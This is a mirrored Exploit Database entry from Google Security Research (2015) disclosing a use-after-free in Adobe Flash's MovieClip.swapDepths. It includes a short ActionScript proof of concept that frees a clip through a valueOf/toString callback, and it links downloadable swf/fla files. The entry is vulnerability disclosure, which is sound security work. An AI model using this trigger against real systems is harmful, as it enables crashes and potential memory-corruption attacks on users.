Adobe Flash – swapDepths Use-After-Free

• Exploit Database
• 34 阅读

• 作者： Google Security Research
  日期： 2015-08-19
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/37871/

• Source: https://code.google.com/p/google-security-research/issues/detail?id=403&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
  
  There is a use-after-free in MovieClip.swapDepths, a POC is as follows:
  
  var clip1 = this.createEmptyMovieClip("clip1", 1);
  var clip2 = this.createEmptyMovieClip("clip2", 2);
  
  var n = {valueOf: func, toString: func};
  
  clip1.swapDepths(n);
  
  function func(){
  	
  	clip1.removeMovieClip();
  	//_root.createEmptyMovieClip("test", 1);
  	
  	trace("here");
  	return "clip2";
  	}
  
  A swf and fla are attached.
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37871.zip